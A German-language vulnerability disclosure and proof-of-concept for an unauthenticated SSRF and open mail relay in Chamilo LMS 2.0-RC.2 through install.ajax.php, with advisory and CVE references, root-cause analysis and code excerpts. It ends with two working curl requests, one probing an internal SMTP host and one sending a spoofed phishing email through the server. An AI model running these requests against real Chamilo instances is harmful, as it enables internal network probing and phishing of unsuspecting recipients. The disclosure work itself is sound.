
Proof-of-Concept-Exploit für unauthentifizierte SSRF und offenes E-Mail-Relay in Chamilo LMS über install.ajax.php, das das Sondieren interner Netzwerke und das Versenden von Phishing-E-Mails ermöglicht.
Schweregrad: Hoch (CVSS 7.2)
CWE: CWE-918 (SSRF) + CWE-306 (Fehlende Authentifizierung)
Betroffen: chamilo/chamilo-lms 2.0-RC.2
Behoben in: 2.0-RC.3
Advisory: GHSA-mxc9-9335-45mc
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715
Danksagung: Romain Deperne
install.ajax.php in Chamilo LMS 2.0 ist auf vollständig installierten Instanzen ohne Authentifizierung erreichbar. Seine test_mailer-Aktion akzeptiert einen beliebigen Symfony-Mailer-DSN und ein Ziel aus den POST-Daten, wodurch jeder unauthentifizierte Angreifer den Server dazu zwingen kann, SMTP-Verbindungen zu beliebigen internen Hosts aufzubauen (SSRF) und E-Mails über den Chamilo-Server als offenes Relay zu versenden.
Ich habe Chamilo LMS geprüft, nachdem mir aufgefallen war, dass es mehrere CVEs angesammelt hatte, aber seine AJAX-Endpunkte nicht eingehend auditiert worden waren. Mein Ansatz: alle Dateien in public/main/inc/ajax/ auflisten und prüfen, ob jede mit require_once __DIR__.'/../global.inc.php' beginnt — der Inkludierung, die in der gesamten Codebasis die Authentifizierung erzwingt.
install.ajax.php war die Ausnahme. Sie bindet nur den Composer-Autoloader ein. Der Dateiname deutete bereits darauf hin, dass es sich um übrig gebliebenen Installationscode handelte — und ein grep nach test_mailer darin bestätigte, dass er einen rohen Symfony-Mailer-DSN-String aus den POST-Daten akzeptiert und direkt an Transport::fromDsn() weitergibt.
Das ist ein vollständiges SSRF-Primitiv: Ein unauthentifizierter Angreifer kontrolliert das Protokoll, den Host und den Port, mit denen sich der Server verbindet. Die Tatsache, dass tatsächlich eine E-Mail über den jeweils konfigurierten Transport versendet wird, macht daraus zugleich ein offenes Relay. Ich habe mit einem einfachen curl bestätigt, dass der Endpunkt auf einer vollständig installierten Instanz ohne jegliches Session-Cookie erreichbar war.
Die Ursache ist architektonischer Natur: Die Datei umgeht die Sicherheits-Firewall von Symfony, weil Apaches RewriteCond %{REQUEST_FILENAME} !-f existierende PHP-Dateien direkt an PHP durchreicht, sodass der Front-Controller nie erreicht wird.
Datei: public/main/inc/ajax/install.ajax.php
Die Datei war für den Installationsassistenten konzipiert, bleibt aber nach der Installation erreichbar. Anders als jeder andere AJAX-Endpunkt im selben Verzeichnis bindet sie nicht global.inc.php ein — was null Authentifizierung und null Autorisierungsprüfung bedeutet:
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';
Die Aktion test_mailer (Zeile ~138) akzeptiert vom Angreifer kontrollierte POST-Parameter:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
// ...
$transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server
$mailer = new Mailer($transport);
$mailer->send($email); // sends email through it
Vergleichen Sie mit einem beliebigen ordnungsgemäß geschützten Endpunkt:
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php'; // enforces authentication
api_block_anonymous_users();
Die Datei wird direkt von Apache ausgeliefert (RewriteCond %{REQUEST_FILENAME} !-f reicht vorhandene PHP-Dateien durch und umgeht dabei die Sicherheits-Firewall von Symfony). Das Fehlen der Einbindung von global.inc.php bedeutet: keine Session, keine Authentifizierung, keine Prüfung auf abgeschlossene Installation.
Eine vollständige Demonstration finden Sie in poc.py.
# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"